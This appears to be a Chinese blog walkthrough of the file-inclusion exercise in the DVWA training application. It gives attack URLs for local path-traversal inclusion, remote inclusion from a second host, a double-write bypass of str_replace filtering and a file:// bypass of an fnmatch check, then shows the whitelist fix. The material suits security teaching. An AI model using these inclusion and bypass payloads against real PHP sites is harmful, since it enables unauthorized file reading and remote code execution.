4、DVWA:file include (文件包含漏洞)

4、file include (文件包含漏洞)
在這裏插入圖片描述
File Inclusion,意思是文件包含(漏洞),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。文件包含漏洞分爲本地文件包含漏洞與遠程文件包含漏洞,遠程文件包含漏洞是因爲開啓了php配置中的allow_url_fopen選項(選項開啓之後,服務器允許包含一個遠程的文件)。
1、Low
源代碼如下:
在這裏插入圖片描述
可以看出:該文件沒有進行任何的過濾,這導致我們可以包含任何的文件
First:當上傳的文件不存在時,可以看到,發生了報錯,並且把網站的路徑都給暴露出來了。

在這裏插入圖片描述

第一行的那個Warning就是找不到我們指定的234.php文件,也就是包含不到我們指定的文件,所以Warning。
而第二行的警告是因爲前面沒有找到指定文件,所以包含的時候就出警告了。
但同時暴露了服務器文件的絕對路徑C:\phpStudy\PHPTutorial\WWW
Second:
(1)構造url(絕對路徑)
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\DVWA\234.php
在這裏插入圖片描述在這裏插入圖片描述
(2)構造url(相對路徑)
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=…\phpStudy\PHPTutorial\WWW\DVWA\234.php(加這麼多…\是爲了保證到達服務器的C盤根目錄,可以看到讀取是成功的)
方法2:遠程文件包含
當服務器的php配置中,選項allow_url_fopen on與allow_url_includeon爲開啓狀態時,並且 magic_quotes_gpc = Off.服務器會允許包含遠程服務器上的文件,如果對文件來源沒有檢查的話,就容易導致任意遠程代碼執行。
在這裏插入圖片描述
在遠程服務器192.168.5.12上傳一個phpinfo.txt文件,內容如下

2、Medium
源碼:在這裏插入圖片描述
可以看到,Medium級別的代碼增加了str_replace函數,對page參數進行了一定的處理,將”http:// ”、”https://”、 ” …/”、”…\”替換爲空字符,即刪除。
【漏洞利用】
使用str_replace函數是極其不安全的,因爲可以使用雙寫繞過替換規則。
例如page=hthttp://tp://192.168.5.12/phpinfo.txt時,str_replace函數會將http://刪除,於是page=http://192.168.5.12/phpinfo.txt,成功執行遠程命令。
同時,因爲替換的只是“…/”、“…\”,所以對採用絕對路徑的方式包含文件是不會受到任何限制的。

3、High在這裏插入圖片描述
fnmatch是一種函數,功能是指定的模式來匹配文件名或字符串。
可以看到,High級別的代碼使用了fnmatch函數檢查page參數,要求page參數的開頭必須是file,服務器纔會去包含相應的文件。fnmatch是一種函數,功能是指定的模式來匹配文件名或字符串。
【漏洞利用】
High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,如下圖。在這裏插入圖片描述構造URL:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///C:\phpStudy\PHPTutorial\WWW\DVWA\234.php
在這裏插入圖片描述成功訪問

4、Impossible
在這裏插入圖片描述
可以看到,Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須爲“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞】

發佈了70 篇原創文章 · 獲贊 5 · 訪問量 7064
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章